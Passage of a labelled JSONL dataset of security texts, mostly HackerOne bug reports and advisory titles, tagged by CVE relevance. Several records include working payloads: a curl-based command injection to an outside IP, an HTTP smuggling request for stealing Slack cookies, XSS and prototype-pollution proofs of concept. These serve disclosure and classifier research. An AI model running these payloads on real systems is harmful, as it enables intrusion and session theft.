"468e4aacc9c3150cf6dd", "text": "Microsoft Office 2007 SP3 and Word 2007 SP3 allow remote attackers to execute\narbitrary code or cause a denial of service (memory corruption) via a crafted\nOffice document, aka \"Word Memory Corruption Vulnerability,\" a different\nvulnerability than CVE-2013-3853.", "source": "hackforums", "timestamp": "2014-05-29", "split": "train", "label_source": "within_source_cve_index", "label": 1} -{"id": "fd99285366e4302ff907", "text": "So did Defcon... just saying...", "source": "evolution", "timestamp": "2014-11-21", "split": "train", "label_source": "within_source_cve_index", "label": 0} -{"id": "c674cedaba82ea232267", "text": "[Unknown] Выполнение кода PHP через FastCGI\n\nЗдравствуйте,\r\nУязвимость существует на http://bw.mail.ru/\r\n\r\nлюбой файл можно воспроизвести как php\r\n\r\nhttp://bw.mail.ru/robots.txt\r\nhttp://bw.mail.ru/robots.txt/c37hun.php\r\n\r\nhttp://bw.mail.ru/layout/all//img/img_mailru.gif\r\nhttp://bw.mail.ru/layout/all//img/img_mailru.gif/c37hun.php\r\n\r\nА для исправления Вам нужно добавить cgi.fix_pathinfo = 0 в php.ini", "source": "hackerone", "timestamp": "2015-12-11", "split": "train", "label_source": "within_source_cve_index", "label": 0} -{"id": "376e31e0bca2fbaeb477", "text": "[Cross-site Scripting (XSS) - Stored] XSS (Persistent) - Selecting role(s) for protected branches\n\n**Summary:** \nWhen using the dropdown that selects the groups or users that are allowed to push or merge to a protected branch within a project, it is possible to trigger a XSS with a malicious user name string. \n\n**Description:**\nThis vulnerability is similar to the recently announced CVE-2018-10379. The username input string where an attacker is able to inject a payload is in the same location, but the XSS that renders is in a different location. Since the remediation needs to be applied at the presentation layer, this is indeed a separate vulnerability and needs to be fixed separately (although Gitlab could start whitelisting characters allowed in usernames, similar to how Gitlab whitelists characters for Group or Project names).\n\nThe steps to reproduce are fairly simple but there are some restrictions:\n * Only members of a project with Master access are able to become victims of the XSS\n * Only groups/members with a subscription level of Starter or higher are able to perform the XSS, since this requires the ability to restrict merge/push permissions of a branch to a specific user. This is a premium feature only allowed at Starter or higher. (https://gitlab.com/help/user/project/protected_branches#restricting-push-and-merge-access-to-certain-users-starter)\n\n## Steps To Reproduce:\n 1. Set your own username as \" foo / bar\"\n 1. Make yourself have at least Master access to a project\n 1. In this project, ensure at least one branch is in the project and that branch is a \"Protected Branch\"\n 1. Under Project Settings -> Repository -> Protected Branches, select the dropdown under the \"Ability to Merge\" section\n 1. Notice that the onerror attribute from the username renders.\n\n## Supporting Material/References:\nMore information can be provided upon request. \n\nYou'll notice the payload above is the same as the payload used in a test file (inside the ce source code repo) for the CVE I attached. I only found this vulnerability since I was testing the previous CVE on our own internal instance of Gitlab, left my username saved as that malicious string, and later found the alert() dialog popup in another area of the site even after patching to 10.7.2.\n\n## Suggested Remediation\nI believe this is the offending Line: https://gitlab.com/gitlab-org/gitlab-ee/blob/master/ee/app/assets/javascripts/projects/settings/access_dropdown.js#L461\n\n^There could also be other XSS vulnerabilities in this JS file. Everywhere else in the app uses the underscore method `_.escape()`to escape user input, but this file doesn't.\n\n## Impact\n\nThe security impact is the same as any typical persistent xss.\n\nThe hacker selected the **Cross-site Scripting (XSS) - Stored** weakness. This vulnerability type requires contextual information from the hacker. They provided the following answers:\n\n**URL**\nhttps://gitlab.com/group/project/settings/repository\n\n**Verified**\nYes", "source": "hackerone", "timestamp": "2018-07-16", "split": "train", "label_source": "within_source_cve_index", "label": 1} -{"id": "460266d01444e8bdb583", "text": "[Information Disclosure] Sensitive data exposure via https://███████/jira//secure/QueryComponent!Default.jspa - CVE-2020-14179\n\nDescription:\nAffected versions of Atlassian Jira Server and Data Center allow remote, unauthenticated attackers to view custom field names and custom SLA names via an Information Disclosure vulnerability in the /secure/QueryComponent!Default.jspa endpoint.\n\n## Impact\n\nhttps://jira.atlassian.com/browse/JRASERVER-71536\nhttps://hackerone.com/reports/1003980\n\n## System Host(s)\n████\n\n## Affected Product(s) and Version(s)\n\n\n## CVE Numbers\nCVE-2020-14179\n\n## Steps to Reproduce\nStep-by-step Reproduction Instructions\n\nURL:https://██████/jira//secure/QueryComponent!Default.jspa\n\n## Suggested Mitigation/Remediation Actions", "source": "hackerone", "timestamp": "2021-09-09", "split": "train", "label_source": "within_source_cve_index", "label": 1} -{"id": "3c507d9b1cc748b58c43", "text": "SOCA Access Control System 180612 SQL Injection And Authentication Bypass\n\nSeverity: critical", "source": "zeroscience", "timestamp": "2019-05-13", "split": "train", "label_source": "within_source_cve_index", "label": 1} -{"id": "6310e3d2551e436b31f3", "text": "[Agora] Cracking RSA 4096 - full research paper publised!\n\n-----BEGIN PGP SIGNED MESSAGE-----Hash: SHA1- -------------------------------------------------------------------------Debian Security Advisory DSA-2821-1                   security@debian.orghttp://www.debian.org/security/                           Thijs KinkhorstDecember 18 2013                      http://www.debian.org/security/faq- -------------------------------------------------------------------------Package        : gnupgVulnerability  : side channel attackProblem type   : remoteDebian-specific: noCVE ID         : CVE-2013-4576Genkin Shamir and Tromer discovered that RSA key material couldbe extracted by using the sound generated by the computer during thedecryption of some chosen ciphertexts.For the oldstable distribution (squeeze) this problem has been fixed inversion 1.4.10-4+squeeze4.For the stable distribution (wheezy) this problem has been fixed inversion 1.4.12-7+deb7u3.For the unstable distribution (sid) this problem has been fixed inversion 1.4.15-2.We recommend that you upgrade your gnupg packages.Further information about Debian Security Advisories how to applythese updates to your system and frequently asked questions can befound at: http://www.debian.org/security/Mailing list: debian-security-announce@lists.debian.org-----BEGIN PGP SIGNATURE-----Version: GnuPG v1.4.12 (GNU/Linux)iQEcBAEBAgAGBQJSsbmBAAoJEFb2GnlAHawEfp4H/1KedSmy+tLpYrVSNC/jrW5bjEgtieSx59RDQq7GrxBl59SiAwXU1bZXokSUlPIa7XginqUSjqL6GA9miip+T840KICCIvyYc8DkjGsM800xDof4R5AzQST+Zl2UqTnJNXw44rP/wFGUNezn1clZu1KfiW3iyvu/dLnidIAZ1thivzjqNLE/x9ev4RI4Qrik45yUY9nFbCqdvuGfMv8+SgGHW9sNrTGuRe3VjCH4fnAcFKJFZZ3MiAcX6U0UPNBu8DVMEQIaR9sftfhuaMmmhC7yJr4DBA2TdoPUf9oL7wN1I9VhtQs8f4SCPOgvHJL+F0eiy7WD8yoS8SFMFqq1nV4==Bm1M----- endpgp signature -----Like the Debian advisory mentions this attack vector is fixed in the newer versions of GPG. You can also use the GPG 2.x branch which already employs RSA blinding to protect against side channel attacks.If you use gpg4usb just upgrade to the latest version 0.3.3 which uses GnuPG 1.4.16 and is also immune to this attack. Your 4096 bit RSA keys are still secure no worries.", "source": "gayanku", "timestamp": "2014-05-09", "split": "train", "label_source": "within_source_cve_index", "label": 1} -{"id": "07dc6df503c57f9ca349", "text": "Moodle 2.5.9/2.6.8/2.7.5/2.8.3 Block Title Handler Cross-Site Scripting\n\nSeverity: medium", "source": "zeroscience", "timestamp": "2015-03-16", "split": "train", "label_source": "within_source_cve_index", "label": 1} -{"id": "77b73c153f842c461bba", "text": "Dasan Networks GPON ONT WiFi Router H64X Series Cross-Site Request Forgery\n\nSeverity: medium", "source": "zeroscience", "timestamp": "2017-07-12", "split": "train", "label_source": "within_source_cve_index", "label": 0} -{"id": "b35e5a0065e22f956d11", "text": "B-swiss 3 Digital Signage System 3.6.5 CSRF Add Maintenance Admin\n\nSeverity: high", "source": "zeroscience", "timestamp": "2020-09-19", "split": "train", "label_source": "within_source_cve_index", "label": 1} -{"id": "a23d0f7c729a35805ca2", "text": "[Uncontrolled Resource Consumption] Prototype pollution attack in node.extend\n\nI would like to report a prototype pollution vulnerability in node.extend.\nIt allows an attacker to inject properties on Object.prototype.\n\n# Module\n\n**module name:** node.extend\n**version:** 2.0.0\n**npm page:** `https://www.npmjs.com/package/node.extend`\n\n## Module Description\n\nA port of jQuery.extend that actually works on node.js\n\n## Module Stats\n\n267,701 downloads in the last week\n\n# Vulnerability\n\n## Vulnerability Description\n\nThis is a variant of this vulnerability:\nhttps://hackerone.com/reports/310443\n\n`node.extend` can be tricked into adding or modifying properties of the Object prototype. These properties will be present on all objects.\n\n## Steps To Reproduce:\nCraft an object of form `{__proto__: {...}}` and send it to `node.extend`:\n```javascript\nlet extend = require('node.extend');\nextend(true, {}, JSON.parse('{\"__proto__\": {\"isAdmin\": true}}'));\nconsole.log({}.isAdmin); // true\n```\n\n# Wrap up\n\n- I contacted the maintainer to let them know: [N]\n- I opened an issue in the related repository: [N]\n\n## Impact\n\nDenial of service, possibly more depending on the application.\nSee https://hackerone.com/reports/310443", "source": "hackerone", "timestamp": "2018-11-30", "split": "train", "label_source": "within_source_cve_index", "label": 0} -{"id": "3acd3ab7b0f325724da3", "text": "[Use After Free] heap-use-after-free (READ of size 8) in main()\n\n**Summary:** \nAfter downloading putty-0.70-2019-01-17.53747ad.tar.gz, I compiled it on Debian 9 with Clang-8.0.0 and AddressSanitizer and while trying to extract a public key from a crafted key, I triggered a heap-use-after-free in main().\n\n**Description:** [add more details about this vulnerability]\n\n## Steps To Reproduce:\n\n1. Compile putty without GTK and with AddressSanitizer.\n```\nCC=clang CXX=clang++ CFLAGS=-fsanitize=address CXXFLAGS=-fsanitize=address ./configure --without-gtk && make --j2\n```\n\n2. `./puttygen -L test0025.ppk`\n\n```\n==24482==ERROR: AddressSanitizer: heap-use-after-free on address 0x604000000018 at pc 0x0000004f9271 bp 0x7ffe82ceee30 sp 0x7ffe82ceee28\nREAD of size 8 at 0x604000000018 thread T0\n #0 0x4f9270 in main /root/putty-0.70-2019-01-17.53747ad/cmdgen.c:979:45\n #1 0x7f019934a2e0 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x202e0)\n #2 0x41db89 in _start (/root/putty-0.70-2019-01-17.53747ad/puttygen+0x41db89)\n\n0x604000000018 is located 8 bytes inside of 48-byte region [0x604000000010,0x604000000040)\nfreed by thread T0 here:\n #0 0x4c5fb2 in __interceptor_free /b/swarming/w/ir/kitchen-workdir/src/third_party/llvm/compiler-rt/lib/asan/asan_malloc_linux.cc:124:3\n #1 0x4f7e68 in main /root/putty-0.70-2019-01-17.53747ad/cmdgen.c:819:21\n #2 0x7f019934a2e0 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x202e0)\n\npreviously allocated by thread T0 here:\n #0 0x4c6333 in malloc /b/swarming/w/ir/kitchen-workdir/src/third_party/llvm/compiler-rt/lib/asan/asan_malloc_linux.cc:146:3\n #1 0x51971d in safemalloc /root/putty-0.70-2019-01-17.53747ad/memory.c:23:6\n #2 0x5bf67f in strbuf_new /root/putty-0.70-2019-01-17.53747ad/utils.c:431:31\n #3 0x4f7a4e in main /root/putty-0.70-2019-01-17.53747ad/cmdgen.c:809:28\n #4 0x7f019934a2e0 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x202e0)\n\nSUMMARY: AddressSanitizer: heap-use-after-free /root/putty-0.70-2019-01-17.53747ad/cmdgen.c:979:45 in main\n```\n\n## Supporting Material/References:\n\n * List any additional material (e.g. screenshots, logs, etc.)\n\n## Impact\n\n1) The use of previously freed memory may corrupt valid data, if the memory area in question has been allocated and used properly elsewhere. \n\n2) If chunk consolidation occurs after the use of previously freed data, the process may crash when invalid data is used as chunk information. \n\n3) If malicious data is entered before chunk consolidation can take place, it may be possible to take advantage of a write-what-where primitive to execute arbitrary code.", "source": "hackerone", "timestamp": "2019-11-03", "split": "train", "label_source": "within_source_cve_index", "label": 0} -{"id": "bf0670863a9567f718b5", "text": "Hotaru CMS 1.4.2 SITE_NAME Parameter Stored XSS Vulnerability\n\nSeverity: medium", "source": "zeroscience", "timestamp": "2011-11-13", "split": "train", "label_source": "within_source_cve_index", "label": 1} -{"id": "b7f50fc912fbf0eca64f", "text": "iManager Plugin v1.2.8 (lang) Local File Inclusion Vulnerability\n\nSeverity: medium", "source": "zeroscience", "timestamp": "2011-09-16", "split": "train", "label_source": "within_source_cve_index", "label": 0} -{"id": "83926a7a4c71a398014e", "text": "[Unknown] Sub Domain Takeover\n\n# One of Gratipay's sub domains points to Heroku with no app created.\n\n## Description\n\nGratipay's sub domain http://www.gratipay.com.herokudns.com/ points to Heroku but is not in use. \n\n## Steps To Reproduce\n\n###Details\n\n - Upon realization of vulnerability, installed and created a Heroku dependencies and application.\n\n - Added http://www.gratipay.com.herokudns.com/ to my list of domains through Heroku CLI. \n\nheroku domains:add www.gratipay.com.herokudns.com\n\nAfter verifying my Heroku account this was easy to point the sub domain to my application. \n\n- Uploaded my application with text \"B3nac sub domain takeover POC.\" and refreshed the domain to find it pointed to my application successfully. \n \n## Fix\n\nIf the domain is not in use, then it is recommended to point the dns entry away from the third party program.\n\n## Supporting Material/References:\n\n * I've attached the uploaded takeover python application/website screenshot.", "source": "hackerone", "timestamp": "2017-10-24", "split": "train", "label_source": "within_source_cve_index", "label": 0} -{"id": "37a928b6d8b8436cb744", "text": "[HTTP Request Smuggling] Mass account takeovers using HTTP Request Smuggling on https://slackb.com/ to steal session cookies\n\nHi Slack Security Team!\n\nMy name is Evan and I'm a first time bug hunter to your platform :) Because you guys were running a month long bounty promotion I decided to take a little of my time and gently perform recon on your platform. Specifically the area of interest I focus in is HTTP Request Smuggling. I developed tooling to actively target some advanced HTTP Smuggling exploits and ran it on your in-scope assets. In my research I stumbled across a finding that I consider extremely critical not only for Slack but for all customers and organizations which share their privatedata/channels/conversations on Slack.\n\nThe bug chain is as follows:\n1) HTTP Request Smuggling CTLE to Arbitrary Request Hijacking (Poisoned Socket) on `slackb.com`\n2) Request Hijack forces victim HTTP requests to instead use `GET https:// HTTP/1.1` on `slackb.com`\n3) A request of `GET https:// HTTP/1.1` on the backend server socket results in a 301 redirect to `https://` with slack cookies (most importantly the `d` cookie)\n4) Me with my Burp Collaborator steals victims cookies by using a collaborator server as the defined in the attack\n5) Me (if I were evil) collects massive amounts of `d` session cookies and steals any/all possble Slack user/organization data from victim sessions\n\nSo let's start from the beginning. I was running `smuggler -u https://slackb.com` running my array of exhaustive tests when I stumbled upon a failure with test: `space1` (see below)\n\n{F633736}\n\nThe `space1` tests checks for HTTP desync with the following payload:\n\n{F633737}\n\nThis testcase failed on testing a CLTE and not a TECL. A CLTE is a webrequest that has both the `Transfer-Encoding: chunked` header (specified in some abnormal way) and the `Content-Length: ` header. According to the RFC when both headers are specified the TE always takes priority. However, if the TE header is malformed the webrequest may get interpreted differently between the frontend and the backend server. The CLTE issue found on slackb.com is when the frontend server interprets the request sized using `Content-Length` and the backend server interprets the request using the `Transfer-Encoding: chunked` method. This causes a desync on the webrequest and can poison the backend socket causing data to be pre-pended to the next webrequest from a victim. The `space1` payload places a space character in between `Transfer-Encoding` and the colon `:`. This is enough for the frontend to not understand the request as TE and instead as CE but not enough for the backend to process it in the same way.\n\nOne popular attack with a CLTE is to prepend data to the next request that would \"erase\" the victim's HTTP request using a custom header semantic and for the poison socket data to re-specify the HTTP method and endpoint. Here is what the payload looks like with the `slackb.com` attack. The best way I can explain it is through Visio using these diagrams (see below)\n\n{F633741}\n\nExplanation of the malicious request:\n\n{F633743}\n\nHere are your steps to triage:\n1) Open up a fresh Burp\n2) Open up a fresh Collaborator by going to menu: `Burp->Burp Collaborator Client`\n3) In the Collaborator Client click on `Copy to clipboard` for the server URL\n4) Go to the Repeater tab\n5) Add the following payload and replace with your collaborator URL\n```\nGET / HTTP/1.1\nTransfer-Encoding : chunked\nHost: slackb.com\nUser-Agent: Smuggler/v1.0\nContent-Length: 83\n\n0\n\nGET HTTP/1.1\nX: X\n```\n6) Set the repeater target to: `host: slackb.com , Port: 443 (SSL)` by double clicking on target\n7) Press go\n8) In the Collaborator window click `Poll now` until you see requests\n\nThe attack should roughly look like this:\nBurp Repeater:\n{F633745}\n\nCollaborator DNS request: (The Victim's IP Address is leaked too!)\n{F633746}\n\nThe special cookie stolen from this attack:\n{F633749}\n\nAt this point you just attacked an arbitrary slack customer and have access to her `d` session cookie.\nFrom here you can plug", "source": "hackerone", "timestamp": "2020-03-12", "split": "train", "label_source": "within_source_cve_index", "label": 0} -{"id": "e5f9883d80776f639967", "text": "FluxBB 1.5.3 Multiple Remote Vulnerabilities\n\nSeverity: medium", "source": "zeroscience", "timestamp": "2013-07-29", "split": "train", "label_source": "within_source_cve_index", "label": 0} -{"id": "45c7af7b5856d67a4217", "text": "[Cross-site Scripting (XSS) - Reflected] Cross Site Scripting via CVE-2018-5230 on https://apps.topcoder.com\n\nHi, I found reflected xss on https://apps.topcoder.com via error message..\n\nPayload : ``` %3CIFRAME%20SRC%3D%22javascript%3Aalert%28%27XSS%27%29%22%3E.vm ```\n\nVulnerable link : https://apps.topcoder.com/wiki/labels/%3CIFRAME%20SRC%3D%22javascript%3Aalert('XSS')%22%3E.vm\n\nStep to reproduce : Create an account and visit the vulnerable url..\n\n{F693517}\n\nReferences : \n\nhttps://www.cvedetails.com/cve/CVE-2018-5230/\nhttps://www.exploit-db.com/exploits/37791\n\nBest regards..\n\n## Impact\n\nHackers can steal victim`s cookies", "source": "hackerone", "timestamp": "2020-02-24", "split": "train", "label_source": "within_source_cve_index", "label": 1} -{"id": "360d3cf3cf0e6bd7b471", "text": "[Cross-site Scripting (XSS) - Generic] XSS in private message\n\nfill tittle of the message with tags", "source": "hackerone", "timestamp": "2014-05-14", "split": "train", "label_source": "within_source_cve_index", "label": 0} -{"id": "b2682fd4a8e7a28b05e1", "text": "[Unknown] SPDY heap buffer overflow\n\nA bug in the experimental SPDY implementation in nginx was found, which might allow an attacker to cause a heap memory buffer overflow in a worker process by using a specially crafted request, potentially resulting in arbitrary code execution (CVE-2014-0133).\n\nThe problem affects nginx 1.3.15 - 1.5.11, compiled with the ngx_http_spdy_module module (which is not compiled by default) and without --with-debug configure option, if the \"spdy\" option of the \"listen\" directive is used in a configuration file.\n\nThe problem is fixed in nginx 1.5.12, 1.4.7.\n\nPatch for the problem can be found here:\n\nhttp://nginx.org/download/patch.2014.spdy2.txt\n\nThanks to Lucas Molas, researcher at Programa STIC, Fundación Dr. Manuel Sadosky, Buenos Aires, Argentina.", "source": "hackerone", "timestamp": "2014-03-24", "split": "train", "label_source": "within_source_cve_index", "label": 1} -{"id": "80c2c361edeb41403dc1", "text": "[Command Injection - Generic] OS Command Injection in Nexus Repository Manager 2.x(bypass CVE-2019-5475)\n\n## OS Command Injection in Nexus Repository Manager 2.x(bypass CVE-2019-5475)\n\n# Maven artifact\n\n**groupId:** org.sonatype.nexus.plugins\n**artifactId:** nexus-yum-repository-plugin\n**version:** 2.14.14-01\n\n# Vulnerability\n\n## Vulnerability Description\n\nThe Nexus Yum Repository Plugin is vulnerable to Remote Code Execution. All instances using CommandLineExecutor.java with user-supplied data is vulnerable, such as the Yum Configuration Capability.\n\n## Additional Details\n\nTake a look at the patch for CVE-2019-5475\n\n https://github.com/sonatype/nexus-public/commit/7b9939e71693422d3e09adc3744fa2e9b3a62a63#diff-4ab0523de106ac7a38808f0231fc8a23R84\n\n![](1.png)\n\nThe `getCleanCommand` method is not completely filtered and can still be bypassed.\n\n\n\n## Steps To Reproduce:\n\n1. Navigate to \"Capabilities\" in Nexus Repository Manager.\n\n2. Edit or create a new Yum: Configuration capability\n\n3. Set path of \"createrepo\" or \"mergerepo\" to an OS command (e.g. `/bin/bash -c curl${IFS}http://192.168.88.1:8000/ || /createrepo`)\n\n \n\n![](2.png)\n\n\n\n## Supporting Material/References:\n\n- Ubuntu\n- Sonatype Nexus Repository Manager 2.14.14-01\n- Java 8\n\n# Wrap up\n\n- I contacted the maintainer to let them know: N\n- I opened an issue in the related repository: N\n\n## Impact\n\nAn authenticated user with sufficient privileges in a Nexus Repository Manager installation can exploit this to execute code on the underlying operating system.\n\n## Impact\n\nAn authenticated user with sufficient privileges in a Nexus Repository Manager installation can exploit this to execute code on the underlying operating system.", "source": "hackerone", "timestamp": "2019-10-29", "split": "train", "label_source": "within_source_cve_index", "label": 1} -{"id": "a631a5b8d8ec330ecd32", "text": "Easy!Appointments v1.2.1 Multiple Stored XSS Vulnerabilities\n\nSeverity: medium", "source": "zeroscience", "timestamp": "2017-12-27", "split": "train", "label_source": "within_source_cve_index", "label": 0} -{"id": "71810589545d0c6a8fe1", "text": "OpenEMR 4.1.1 (site param) Remote XSS Vulnerability\n\nSeverity: low", "source": "zeroscience", "timestamp": "2013-02-21", "split": "train", "label_source": "within_source_cve_index", "label": 0} -{"id": "1844770ce593ba038cb1", "text": "[Improper Access Control - Generic] CORS Misconfiguration on nordvpn.com leading to Private Information Disclosure,Account takeover\n\nSummary: \nAn cross-origin resource sharing (CORS) policy controls whether and how content running on other domains can perform two-way interaction with the domain that publishes the policy. The policy is fine-grained and can apply access controls per-request based on the URL and other features of the request. If the site specifies the header Access-Control-Allow-Credentials: true, third-party sites may be able to carry out privileged actions and retrieve sensitive information.\nThis bug could be used to steal users information or force the user to execute unwanted actions. As long that a legit and logged in user is lure to access a attacker controlled HTML page\n\nCORS misconfiguration is found on https://nordvpn.com/nordvpn.com as \"Access-Control-Allow-Origin\" is dynamically fetched from client Origin header with \"Credentials\" set as true.\n\nSteps To Reproduce:\nStep 1: \nRequest:\nGET /wp-json/ HTTP/1.1\nHost: nordvpn.com\nOrigin: http://iamsoevil.com\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\nAccept-Language: en-US,en;q=0.5\nAccept-Encoding: gzip, deflate\nConnection: close\nUpgrade-Insecure-Requests: 1\n\nResponse:\nHTTP/1.1 200 OK\nDate: Sun, 15 Dec 2019 07:03:00 GMT\nContent-Type: application/json; charset=UTF-8\nConnection: close\nVary: Accept-Encoding\nCache-Control: public, max-age=1800\nExpires: Sun, 15 Dec 2019 07:33:00 GMT\nPragma: no-cache\nX-Robots-Tag: noindex\nLink: ; rel=\"https://api.w.org/\"\nX-Content-Type-Options: nosniff\nAccess-Control-Expose-Headers: X-WP-Total, X-WP-TotalPages\nAccess-Control-Allow-Headers: Authorization, Content-Type\nAllow: GET\nAccess-Control-Allow-Origin: http://iamsoevil.com\nAccess-Control-Allow-Methods: OPTIONS, GET, POST, PUT, PATCH, DELETE\nAccess-Control-Allow-Credentials: true\nVary: Origin\nX-Generator: front-kr-web-2\nStrict-Transport-Security: max-age=31536000; includeSubDomains; preload\nX-Cache: MISS\nX-Frame-Options: SAMEORIGIN\nCF-Cache-Status: HIT\nAge: 382\nExpect-CT: max-age=604800, report-uri=\"https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct\"\nServer: cloudflare\nCF-RAY: 54568e251c4bd59b-BOM\nContent-Length: 91608\n\nNote: Take note from request I inject a header Origin: http://iamsoevil.com then from response it returns Access-Control-Allow-Origin: http://iamsoevil.com. Which mean there is CORS misconfig here (refer screenshot attached).\n\nStep 2: Exploiting CORS misconfiguration.\n1) open https://example.com in browser then inspect the page and go to console. Run the following code in console and you would find it pops up user information or Open above code in any browser and you would find it pops up user information like the attachment.\nCode: \n\n\n\n\nRemediation: \nRather than using a wildcard or programmatically verifying supplied origins, use a whitelist of trusted domains.\n\nReferences:\nhttps://portswigger.net/blog/exploiting-cors-misconfigurations-for-bitcoins-and-bounties\nhttps://ejj.io/misconfigured-cors/\n\nReference Reports: #430249 #317391 #426147 #470298\n\n## Impact\n\n1) In this report I want to describe High level bug which can seriously compromise a user account.If I am authorize on this site, I can steal user's sessions, some personal information or do some action.\n2) Attacker would treat many victims to visit attacker's website, if victim is logged in, then his personal information is recorded in attacker's server.\n3) Also If the site specifies the header Access-Control-Allow-Credentials: true, third-party sites may be able to carry out privileged actions and retrieve sensitive information.", "source": "hackerone", "timestamp": "2020-02-21", "split": "train", "label_source": "within_source_cve_index", "label": 0} -{"id": "7005307b17620d6b42bf", "text": "[Heap Overflow] [CVE-2018-18313] regcomp: heap-buffer-overflow read in S_grok_bslash_N\n\nSee: https://rt.perl.org/Public/Bug/Display.html?id=133192\nCVE ID: CVE-2018-18313\n\n## Impact\n\nPotential information leak(ex: secret variables or source codes)", "source": "hackerone", "timestamp": "2019-09-25", "split": "train", "label_source": "within_source_cve_index", "label": 1} -{"id": "7e954a003d8f42bc89c1", "text": "[Cross-site Scripting (XSS) - Generic] XSS in express-useragent through HTTP User-Agent\n\nHello, \n\nI would like to report an XSS in express-useragent module due a lack of validating User-Agent header. Please note I already created an [Github issue](https://github.com/biggora/express-useragent/issues/98) and asked for CVE ( [CVE-2018-9863](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-9863)). I did not know about Node.js third-party modules on hackerone.\n\n## Description\nexpress-useragent is simple NodeJS/ExpressJS middleware exposing User-Agent details to your application and views. Basically it parses User-Agent and return it in structured JSON format.\n\n## The issue\nwhile parsing User-Agent there are no escaping or sanitization mechanism. User-Agent header is controlled by the user. An attacker can craft a malicious script and inject it through the HTTP header.\n\n## Steps to reproduce\n* git clone https://github.com/biggora/express-useragent \n* cd express-useragent\n* ```node test/http.js``` (an HTTP server should listen on 3000 tcp)\n* ```curl \"http://localhost:3000\" -H 'User-Agent: ' > poc.html```\n* open poc.html with your favorite web browser\n* you should see an alertbox popup \n\n### Proof of concept (screenshots)\n{F305913}\n{F305914}\n\n### Proof of concept with a fix (video) {F305912}\n\n## Mitigation\nCorrectly escape and sanitize user input ( HTTP User-Agent ). Please note I proposed a fix in the video\n\n## Impact\n\nAn attacker could execute javascript code that could lead to XSS.", "source": "hackerone", "timestamp": "2018-07-06", "split": "train", "label_source": "within_source_cve_index", "label": 1} -{"id": "73737ffdbf42274bbdf1", "text": "[Memory Corruption - Generic] Adobe Flash Player ASnative(900,1).call(TextField) Use-After-Free Vulnerability\n\nI. Summary\nAdobe Flash Player is prone to a vulnerability which leads to Use-After-Free. \n------------------------------------------------------------------\nII. Description\nIf the ASnative(900,1) is invoked with TextField instance and getter properties associated with swfRoot where the getter method includes a call to removeTextField(), the TextField instance is used after it is freed.\n\nThe zip attachment contains the crash.swf and its source code.\nLatest version of Adobe Flash Player 20.0.0.267 has been tested under Windows 7.\n------------------------------------------------------------------\nIII. Impact\nUse-After-Free\n------------------------------------------------------------------\nIV. Credit\nWen Guanxing from Venustech ADLAB is credited for this vulnerability.\n\nIt has been assigned by Adobe as CVE-2016-0983\nhttps://helpx.adobe.com/security/products/flash-player/apsb16-04.html", "source": "hackerone", "timestamp": "2019-11-12", "split": "train", "label_source": "within_source_cve_index", "label": 1} -{"id": "bf027c9ef1d0e945bfc0", "text": "[Silk Road 1] Re: Chat more shit\n\nWell, while Lim's off to go secretly wank I'll be in charge M'kay? 8)", "source": "gayanku", "timestamp": "2012-07-22", "split": "train", "label_source": "within_source_cve_index", "label": 0} -{"id": "b3c76c7e392bfc58d6b9", "text": "Realtek 11n Wireless LAN Utility Privilege Escalation\n\nSeverity: low", "source": "zeroscience", "timestamp": "2015-02-24", "split": "train", "label_source": "within_source_cve_index", "label": 0} -{"id": "5bbd5f2dacfe236ae2cb", "text": "Adobe ExtendedScript Toolkit CS5 v3.5.0.52 (dwmapi.dll) DLL Hijacking Exploit\n\nSeverity: high", "source": "zeroscience", "timestamp": "2010-08-26", "split": "train", "label_source": "within_source_cve_index", "label": 1} -{"id": "6607028e29cdacb0e853", "text": "[Privilege Escalation] Attacker can delete (and read) private project webhooks\n\n# Vulnerability details\nAn attacker can delete and read webhooks that are configured for all projects on a GitLab instance. This includes private projects. This is a bad vulnerability because these webhooks contain private (API) tokens most of the time.\n\n# Proof of concept\nAs a victim, create a project and a webhook. Make sure you know the unique ID of the webhook. You can find this by looking at the \"Test hook\" button. In this example, the ID is `1`. Now as the attacker, which doesn't have access to the webhook, create another project. Since the attacker is the owner of this project, it can send API requests to `/projects/:id` and access its sub resources. By executing the following cURL request command, the webhook of the victim can be destroyed and read:\n\n```bash\ncurl -X DELETE --header \"PRIVATE-TOKEN: XXXXXXXXXXX\" \"http://gitlab-instance/api/v3/projects/2/hooks/1\"\n```\n\nThe attacker has access to project with ID 2, but the webhook with ID 1 belongs to a different project (see the response below). The response leaks the private webhook URL and on which events it would be fired. The request deletes the webhook, but the attacker can now keep digging with the leaked webhook URL.\n\n```json\n{\n \"id\":1,\n \"url\":\"http://secret.com/\",\n \"project_id\":24,\n \"created_at\":\"2016-04-24T22:16:58.044Z\",\n \"updated_at\":\"2016-04-24T22:16:58.044Z\",\n \"service_id\":null,\n \"push_events\":true,\n \"issues_events\":false,\n \"merge_requests_events\":false,\n \"tag_push_events\":false,\n \"note_events\":false,\n \"enable_ssl_verification\":true,\n \"build_events\":false\n}\n```\n\n# Fix\nThe problem arises from `lib/api/project_hooks.rb:104`. Instead of calling `user_project.hooks.find`, it searches in all project hooks to fetch the object: `ProjectHook.find`. I attached the fix for this problem.", "source": "hackerone", "timestamp": "2016-05-03", "split": "train", "label_source": "within_source_cve_index", "label": 0} -{"id": "fba3d6ec41404fb49d07", "text": "BrightSign Digital Signage Diagnostic Web Server 8.2.26 Unauthenticated SSRF\n\nSeverity: medium", "source": "zeroscience", "timestamp": "2020-09-30", "split": "train", "label_source": "within_source_cve_index", "label": 0} -{"id": "06ec5e0665a6c88141ed", "text": "[Memory Corruption - Generic] nginx SPDY heap buffer overflow for https://grtp.co/\n\nA heap-based buffer overflow in the SPDY implementation in nginx 1.3.15 before 1.4.7 and 1.5.x before 1.5.12 allows remote attackers to execute arbitrary code via a crafted request. The problem affects nginx compiled with the ngx_http_spdy_module module (which is not compiled by default) and without --with-debug configure option, if the \"spdy\" option of the \"listen\" directive is used in a configuration file.\nThis vulnerability affects Web Server. \n\nCurrent version is : nginx/1.4.6\n\nThe impact of this vulnerability:\nAn attacker can cause a heap memory buffer overflow in a worker process by using a specially crafted request, potentially resulting in arbitrary code execution.\n\nHow to fix this vulnerability:\nUpgrade nginx to 